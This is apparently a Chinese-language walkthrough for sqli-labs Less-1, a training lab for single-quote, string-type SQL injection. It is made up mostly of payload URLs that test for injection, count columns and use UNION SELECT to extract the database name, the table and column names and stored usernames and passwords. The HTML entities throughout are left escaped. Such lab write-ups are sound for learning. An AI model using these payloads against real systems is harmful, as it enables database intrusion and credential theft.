【Less1】单引号报错字符型注入

提示&＃xff1a;这个题目是基于错误&＃xff0c;单引号&＃xff0c;字符型注入

1、测试是否存在注入点

http://localhost/sqli-labs/Less-1/?id&＃61;1&＃39;


http://localhost/sqli-labs/Less-1/?id&＃61;1&＃39; and 1&＃61;1 -- &＃43;


http://localhost/sqli-labs/Less-1/?id&＃61;1&＃39; and 1&＃61;2 -- &＃43;


证明我们后面输入的sql语句被带入到数据库进行查询了&＃xff0c;说明存在sql注入

2、判断字段数

http://localhost/sqli-labs/Less-1/?id&＃61;1&＃39; order by 4 -- &＃43;


http://localhost/sqli-labs/Less-1/?id&＃61;1&＃39; order by 3 -- &＃43;


3、查看回显点

http://localhost/sqli-labs/Less-1/?id&＃61;-1&＃39; union select 1,2,3 -- &＃43; // id&＃61;-1 查询为空 后面的查询才能显示出来


4、联合查询

1&＃xff09;查看当前用户和当前数据库名&＃xff1a;

http://localhost/sqli-labs/Less-1/?id&＃61;-1&＃39; union select 1,user(),database() -- &＃43;


2&＃xff09;查看当前库所有表名&＃xff1a;

http://localhost/sqli-labs/Less-1/?id&＃61;-1&＃39; union select 1,(select group_concat(table_name)from information_schema.tables where table_schema&＃61;&＃39;security&＃39;),3 -- &＃43;


3&＃xff09;查看users表中的列名&＃xff1a;

http://localhost/sqli-labs/Less-1/?id&＃61;-1&＃39; union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA&＃61;&＃39;security&＃39; and table_name&＃61;&＃39;users&＃39;) --&＃43;


4&＃xff09;查看用户名和密码&＃xff1a;

http://localhost/sqli-labs/Less-1/?id&＃61;-1&＃39; union select 1,2,(select group_concat(concat_ws(" ",username,password)) from security.users) --&＃43;


先将查询出来的用户名和密码以空格链接&＃xff0c;这样在用group_concat连接后更容易分辨出用户名个密码。